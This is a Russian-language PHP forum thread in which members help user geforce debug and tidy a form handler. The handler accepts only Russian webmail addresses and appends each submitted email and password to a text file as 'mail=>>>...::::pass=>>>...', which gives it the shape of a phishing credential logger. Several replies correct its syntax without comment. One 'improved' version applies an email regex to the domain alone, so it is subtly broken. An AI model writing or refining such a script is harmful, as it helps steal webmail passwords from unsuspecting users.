А как фильтровать окончание поля ввода $_post[ "a"]??? К примеру если окончание равно @mail.ru то делать одно а если нет то делать другое! Это моно с помощью preg_match?
xt так все прицепились этим регуляркам! их надо юзать в последнюю очередь! Code: $str="[email protected]"; $f=explode("@",$str,2); if($f[1]=="mail.ru") { echo "делаем одно"; }
Народ, как выдрать текст из веб странички <hr class="iq"> <div class="q"> текст который нужно достать </div> Таких может быть несколько на паге. Нужно достать все. С меня +
Используй функцию preg_match! PHP: <?php $f = file_get_contents("файл где ищеш.php"); $s1="<hr class="iq">"; $s2="<hr class="iq">"; preg_match_all($s1,$f,$ma); preg_match_all($s2,$f,$mas); echo ma[1]; echo mas[1]; fclose($f); ?>
geforce Во мервых ему нужны все совпадения тоесть preg_match_all во вторых это скорее всего многострочный контент .. нужно добавить идитификатор \m вроде
PHP: <?php $f=""; $mail[0]="mail.ru"; $mail[1]="list.ru"; $mail[2]="inbox.ru"; $mail[3]="bk.ru"; $mail[4]="yandex.ru"; $mail[5]="rambler.ru"; $fs=explode("@",$_POST['a'],2); if (($fs[1]==$mail[0])or($fs[1]==$mail[1])or($fs[1]==$mail[2])or($fs[1]==$mail[3])or($fs[1]==$mail[4])or($fs[1]==$mail[5])) { if (($_POST["a"]==$f)or($_POST["b"]==$f)) { header('Location: error1.php'); } else { if(isset($_POST["a"])&& isset($_POST["b"])) { $fh=fopen("kont.txt","a"); fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n"); fclose($fh); header('Location: autor.php'); } } } else { header('Location: error2.php'); } ?> Вот так правильно???
NuR мм .... причём тут файловый указаталь? только функции чтения из файла работают с ними ... а сложно сделать $f = file_get_contents('file.txt'); geforce что это за ужас? if (($fs[1]==$mail[0])or($fs[1]==$mail[1])or($fs[1]==$mail[2])or($fs[1]==$mail[3])or($fs[1]==$mail[4])or($fs[1]==$mail[5])) типо не существует ф-ции in_array() ? илии нету ф-ции empty() ?
geforce PHP: <?php $mail[0]="mail.ru"; $mail[1]="list.ru"; $mail[2]="inbox.ru"; $mail[3]="bk.ru"; $mail[4]="yandex.ru"; $mail[5]="rambler.ru"; $fs=explode("@",$_POST['a'],2); if (in_array($fs[1],$mail)) { if (empty($_POST['b'])) //Нужна проверка т.к $_POST['а'] мы проверили выше exit(header('Location: error1.php')); $fh=fopen("kont.txt","a"); fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n"); fclose($fh); header('Location: autor.php'); } else header('Location: error2.php'); ?>
PHP: <?php $f=""; $mail[0]="mail.ru"; $mail[1]="list.ru"; $mail[2]="inbox.ru"; $mail[3]="bk.ru"; $mail[4]="yandex.ru"; $mail[5]="rambler.ru"; if (($_POST["a"]==$f)or($_POST["b"]==$f)) //проверяет поле на пустоту {header('Location: error1.php');} else {$fs=explode("@",$_POST['a'],2); //проверяет правильность мыла if (in_array($fs[1],$mail)) {if(isset($_POST["a"])&& isset($_POST["b"])) //делает запись в текстовый файл если выше описаные проверки пройдены {$fh=fopen("kont.txt","a"); fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n"); fclose($fh); header('Location: autor.php');}}} else {header('Location: error2.php');} ?> Почему пишет ошибку? Parse error: syntax error, unexpected T_ELSE in Z:\home\test3.ru\www\prog.php on line 27
1) Было бы неплохо указывать, какую именно ошибку. 2) Также имеет смысл лучше изучить основы используемого языка. Можно, например, начать отсюда.
PHP: <?php $f=""; $mail[0]="mail.ru"; $mail[1]="list.ru"; $mail[2]="inbox.ru"; $mail[3]="bk.ru"; $mail[4]="yandex.ru"; $mail[5]="rambler.ru"; if ($_POST["a"]==$f || $_POST["b"]==$f) //проверяет поле на пустоту header('Location: error1.php'); else { $fs=explode("@",$_POST['a'],2); //проверяет правильность мыла if(in_array($fs[1],$mail)) { if(isset($_POST["a"]) && isset($_POST["b"])) //делает запись в текстовый файл если выше описаные проверки пройдены { $fh=fopen("kont.txt","a"); fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n"); fclose($fh); header('Location: autor.php'); } } else { header('Location: error2.php'); } } ?> P.S. Код не улучшал
else { header('Location: error2.php'); } вот этот елсе хренпоймический, для него нету иф. 1) Было бы неплохо указывать, какую именно ошибку. изучая код товарища гефорсе можно сделать вывод что ошибка в днк=)
Немного поприличнее вариант: PHP: <?php $mail=Array( "mail.ru", "list.ru", "inbox.ru", "bk.ru", "yandex.ru", "rambler.ru" ); if (!isset($_POST["a"]) || !isset($_POST["b"]) || $_POST["a"]=='' || $_POST["b"]=='') //проверяет поле на пустоту header('Location: error1.php'); else { $fs=explode("@",$_POST['a'],2); //проверяет правильность мыла if(in_array($fs[1],$mail) && preg_match("/^[_\-\.0-9a-z]+@[0-9a-z]{1}[_0-9a-z\.]+\.[a-z]{2,4}$/i",$fs[1])) { $fh=fopen("kont.txt","a+"); fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n"); fclose($fh); header('Location: autor.php'); } else { header('Location: error2.php'); } } ?>
Вот так не работает PHP: <?php $f=fopen("kont.txt") echo"$f";?> Как вывести содержимое текстового документа на страницу?